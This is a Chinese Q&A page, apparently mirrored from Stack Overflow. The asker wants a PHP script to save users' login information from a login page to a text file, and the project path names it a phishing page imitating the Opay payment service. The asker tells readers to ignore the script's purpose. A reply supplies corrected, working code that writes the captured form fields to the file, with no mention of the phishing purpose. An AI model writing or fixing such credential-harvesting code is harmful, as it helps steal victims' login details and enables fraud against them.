为什么我的php代码不能将文件写入指定的位置?或者任何位置?[关闭]

t40tm48m  于 12个月前  发布在  PHP
关注(0)|答案(1)|浏览(113)

**已关闭。**此问题需要debugging details。目前不接受回答。

编辑问题以包括desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem。这将帮助其他人回答问题。
2天前关闭。
Improve this question
我试着做一个简单的php脚本,从登录页面收集用户的登录信息,并编写一个名为v_info. txt的文件.但它总是返回“无法注册用户信息,如果错误仍然存在,请与我们联系”.我试着给我的xampp所有需要的权限,但无济于事。
代码如下:

<!DOCTYPE html>
<html>
    <body>
        <?php
            $vf_name = $vl_name = "";

            if($_SERVER["REQUEST_METHOD"] == "POST"){
                $vf_name = $_POST["fname"];
                $vl_name = $_POST["lname"];
            }

            $log_file = fopen("/web/SimpleOpayPhishingPage/text/v_info.txt", "w+") or die("Unable to Register user information, If error persists please contact us")
        ?>
    </body>
</html>

字符串

不要注意脚本的内容/目的:)...

yptwkmov

yptwkmov1#

请检查我的解决方案,也许它为您工作!

$vf_name = $vl_name = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
  $vf_name = htmlspecialchars($_POST["fname"]);
  $vl_name = htmlspecialchars($_POST["lname"]);

  $log_file = fopen("/opt/lampp/htdocs/SimpleOpayPhishingPage/text/v_info.txt", "w+") or die("Error opening file: " . error_get_last()['message']);
  fwrite($log_file, $vf_name . " " . $vl_name . "\n");
  fclose($log_file);
}

字符串

相关问题